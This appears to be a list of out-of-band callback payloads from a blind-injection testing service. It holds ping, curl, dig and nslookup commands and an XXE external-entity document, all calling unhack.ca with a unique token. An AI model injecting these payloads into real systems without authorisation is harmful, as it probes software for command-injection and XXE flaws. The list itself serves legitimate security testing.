$ ping -c1 -p 0051dd456803a98354ef5ac2e5c82100 unhack.ca
 

$ curl http://unhack.ca/p/51dd456803a98354ef5ac2e5c821
 

$ dig 51dd456803a98354ef5ac2e5c821 @unhack.ca
 

$ dig 51dd456803a98354ef5ac2e5c821.ns.unhack.ca
 

C:\> nslookup 51dd456803a98354ef5ac2e5c821 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/51dd456803a98354ef5ac2e5c821">]>
    <foo>&xxe;</foo>